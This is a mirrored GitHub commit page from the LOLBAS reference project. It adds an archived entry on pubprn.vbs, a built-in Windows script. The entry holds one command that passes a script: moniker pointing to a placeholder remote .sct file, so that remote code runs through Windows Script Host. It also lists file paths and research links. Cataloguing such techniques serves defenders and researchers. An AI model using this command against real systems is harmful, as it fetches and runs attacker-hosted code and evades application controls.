mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2025-07-27 12:42:19 +02:00
Removed MD files, we only use the webportal from now on. All MD files moved to archive
This commit is contained in:
19
Archive-Old-Version/OSScripts/Pubprn.vbs.md
Normal file
19
Archive-Old-Version/OSScripts/Pubprn.vbs.md
Normal file
@@ -0,0 +1,19 @@
|
||||
## Pubprn.vbs
|
||||
* Functions: Execute
|
||||
```
|
||||
|
||||
pubprn.vbs 127.0.0.1 script:https://domain.com/folder/file.sct
|
||||
Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection.
|
||||
```
|
||||
|
||||
* Resources:
|
||||
* https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
|
||||
* https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
|
||||
* https://github.com/enigma0x3/windows-operating-system-archaeology
|
||||
|
||||
* Full path:
|
||||
* C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
|
||||
* C:\Windows\SysWOW64\Printing_Admin_Scripts\en-US\pubprn.vbs
|
||||
|
||||
* Notes: Thanks to Matt Nelson - @enigma0x3
|
||||
|
Reference in New Issue
Block a user